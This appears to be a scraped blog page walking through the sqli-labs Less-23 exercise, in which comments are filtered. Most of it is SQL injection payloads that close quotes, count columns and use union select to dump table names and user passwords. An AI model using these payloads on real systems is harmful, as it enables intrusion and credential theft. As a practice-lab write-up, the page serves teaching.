当前位置:网站首页>SQL injection less23 (filter comment)
SQL injection less23 (filter comment)
2022-07-28 12:15:00 【Hua Weiyun】
?id=1
?id=1'
''1'' LIMIT 0,1'
First remove a single quotation mark on the left and right , Equivalent to quotation in Chinese '1'' LIMIT 0,1
It's obvious that it's a single quotation mark
SELECT * FROM users WHERE id='$id' LIMIT 0,1
Because annotations are filtered , We can manually close the following single quotation marks
?id=1' and '1'='1
?id=1' and '1'='2
Want to use error injection , Because there will be error messages
?id=1' and updatexml(1, concat('#', database()), 1) and '1'='1
In the end, there may be more Limit 0,1 This part , Cause the statement to make an error
So give up error reporting
Try to use union Inject , Because there is echo point ?id=1' order by 4 and '1'='1
Cannot find the number of fields
Use it directly union, To test the number of fields one by one ?id=1' union select 1,'2
It can be ?id=1' union select 1,2,'3
View echo location ?id=-1' union select 1,2,'3
Database search ?id=-1' union select 1,(select concat(database(), 0x7e, @@basedir)),'3
Look up the table ?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema="security"),'3
Check field ?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),'3
Check data ?id=-1' union select 1, (select group_concat(username,0x3a,password) from security.users),'3
边栏推荐
猜你喜欢

Stored state and running state of program

ViewPager2+Fragment

Unity中使用UnityWebRequest进行网络和本地图片加载

Redis安装

游戏流程与底层实现 逐步完成

The game process and the underlying implementation are gradually completed

Alexnet - paper analysis and reproduction
![[real question of written examination]](/img/3f/e061df6a2c5c92429cfd3c69cc94ce.png)
[real question of written examination]

Use Baidu PaddlePaddle easydl to complete garbage classification

Zhou Hongyi talks about Internet thinking: users, not customers
随机推荐
ES6 knowledge points supplement
Use Baidu PaddlePaddle easydl to complete garbage classification
Laravel之缓存
Image filter from the perspective of convolution
CentOS 7 install MySQL 5.7 & uninstall MySQL 5.7
"Weilai Cup" 2022 Niuke summer multi school training camp 2
What is WordPress
Traversal and copy of files in jar package
Anonymous subclass objects of abstract classes
STL concept and its application
Lyscript get previous and next instructions
LyScript 获取上一条与下一条指令
Gecko competition 2.0 is new! Come and show your flexible operation skills!
直接插入排序与希尔排序
顶级“Redis笔记”,缓存雪崩+击穿+穿透+集群+分布式锁,NB了
Modify the running container port mapping
【Try to Hack】内网基础
Untiy中控制Animation的播放速度
QT writing IOT management platform 42 data query export print
PHP时间戳相减转化为天小时分秒